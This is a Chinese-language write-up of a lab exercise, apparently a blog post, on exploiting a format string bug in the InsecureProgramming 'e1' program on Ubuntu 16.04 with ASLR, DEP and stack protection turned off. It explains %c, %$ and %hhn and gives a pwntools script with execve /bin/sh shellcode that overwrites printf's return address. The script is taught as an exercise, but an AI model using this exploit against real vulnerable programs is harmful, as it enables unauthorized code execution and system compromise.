InsecureProgramming-master——e1

目录

一、实验介绍

二、漏洞原理分析

三、 编写exploit脚本

一、实验介绍

1、实验环境:

Distributor ID: Ubuntu
Description: Ubuntu 16.04.1 LTS
Release: 16.04

Codename: xenial

2、实验工具:

gdb

3、实验程序

//e1.c

int main(int argv,char **argc) {
                      /* Can you do it changing the stack?  */
                      /* Can you do it without changing it? */
	printf(argc[1]);
	while(1);
}

4、实验目的

构造格式化字符串,覆写printf的返回地址,执行shellcode。

5、关闭ALSR

6、编译程序:关闭DEP与SSP

二、漏洞原理分析

 格式化字符漏洞的原理网上相关文章很多,这里就只做简单的介绍。

以printf函数为例:

//printf(“format”, 输出表列)
//“安全地”使用:
char str[100];
scanf(“%s”, str);
printf(“%s”, str);


//“不安全地”使用:
char str[100];
scanf(“%s”, str);
printf(str);

因为printf允许参数个数不固定,所以当“不安全地”使用时,会将字符当作format参数,而用其后内存中的数据匹配format参数。

例:

1、若str就是“hello world”,则直接输出“hello world”

2、如strformat,比如是%2$x,则输出偏移2处的16进制数据0x12345678。

所以通过组合使用格式控制符,我们可以读取任意偏移处的数据或向任意偏移处写数据,从而达到利用格式化字符串漏洞的作用。

三、编写exploit

总体的思路就是printf的返回地址覆写为shellcode的地址,从而当printf执行完后,跳转到shellcode的地址处,执行shellcode。

这里我们主要利用三个格式控制符:%c、%$和%hhn。

%<num>c     //打印字符,宽度为num

%<num>$     //访问第num个参数
    printf(“test%2$s”, “12”, “123”);//结果:test123(直接使用第二个参数)

%hhn 
    printf(“test%hhn”,var);//结果:值04存储在var中(一个字节)
                           

举个栗子:

str="\x7c\xd4\xff\xff\x7d\xd4\xff\xff\x7e\xd4\xff\xff\x7f\xd4\xff\xff%65c%165$hhn";
printf(str);

则向地址0xffffd47c写入65+16=81=0x51。165:存储此字符串地址的地址,与此字符串的地址之间的偏移量(四个字节为一个单位)。

但是如果手动构造这些字符串则太过麻烦,这里我们利用fmtstr_payload()来生成所需要的字符串。

fmtstr_payload( offset, writes, numbwritten=0,write_size=‘byte’)

  //offset: 可控的栈偏移
  //writes:是一个字典{addr:value}
  //numbwritten : 通过printf函数已经写入的字节大小
  //write_size : 必须是byte, short或int,表示是%hhn, %hn或%n传数据
#地址对齐
from pwn import *
shellcode =  "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
shellcode += "\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
offset = 165                            #偏移
print_retloc = 0xffffd47c		#存储print函数返回地址的地址
fmtstr_len = 61			        #61是利用fmtstr_payload生成的格式化字符串的长度     
buf_addr = 0xffffd714			#命令行参数的地址
shellcode_addr = buf_addr + fmtstr_len	
#shellcode的地址=命令行参数的地址+ fmtstr_payload生成的格式化字符串的长度 
print ("%x"%shellcode_addr)             #打印shellcode的地址
payload = fmtstr_payload(offset, {print_retloc:shellcode_addr}) + shellcode +"\x90" * 3
                                        #生成payload,“\x90” * 3用于地址对齐
print len(payload) - len(shellcode) – 3	#打印fmtstr_len 
print (payload)
p = gdb.debug(['e1', payload],exe='./e1',gdbscript='''
break main
continue''')
p.interactive()

这是我们调试时使用的脚本,脚本中一些关键参数的值需要我们进行不断调整,以找到合适的值。

1、shellcode_addr = 0xffffd751

2、offset=(0xffffd714 – 0xffffd480)/4=660 / 4=165

offset这个值是用来表明字符串作为printf函数参数入栈时的栈地址,与存储该字符串的地址之间的偏移量。偏移量以四个字节为一个单位。需注意的是两个地址的差值必须要能被4整除,即需要满足地址对齐。因为格式控制符%<num>$取得是format后的第num个偏移中的值,所以如果无法整除,在取参数时会出现错误。

可见此时地址是对齐的。

3、print_retloc = 0xffffd47c

这个值就是存储printf返回地址的地址。

已用shellcode的地址覆写了printf的返回地址,将继续执行shellcode。

再看看地址未对齐是什么情况

#地址未对齐
from pwn import *
shellcode =  "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
shellcode += "\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"
offset = 165                            #偏移
print_retloc = 0xffffd47c		#存储print函数返回地址的地址
fmtstr_len = 61			        #61是利用fmtstr_payload生成的格式化字符串的长度     
buf_addr = 0xffffd714			#命令行参数的地址
shellcode_addr = buf_addr + fmtstr_len	
#shellcode的地址=命令行参数的地址+ fmtstr_payload生成的格式化字符串的长度 
print ("%x"%shellcode_addr)             #打印shellcode的地址
payload = fmtstr_payload(offset, {print_retloc:shellcode_addr}) + shellcode 
                                        #生成payload,地址未对齐
print len(payload) - len(shellcode) – 3	#打印fmtstr_len 
print (payload)
p = gdb.debug(['e1', payload],exe='./e1',gdbscript='''
break main
continue''')
p.interactive()

此时的buf_addr = 0xffffd717,offset = (0xffffd717 - 0xffffd480) / 4 =663 /4,很显然无法整除。

地址未对齐,取地址时会取出错误的值,在赋值阶段出现段错误。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值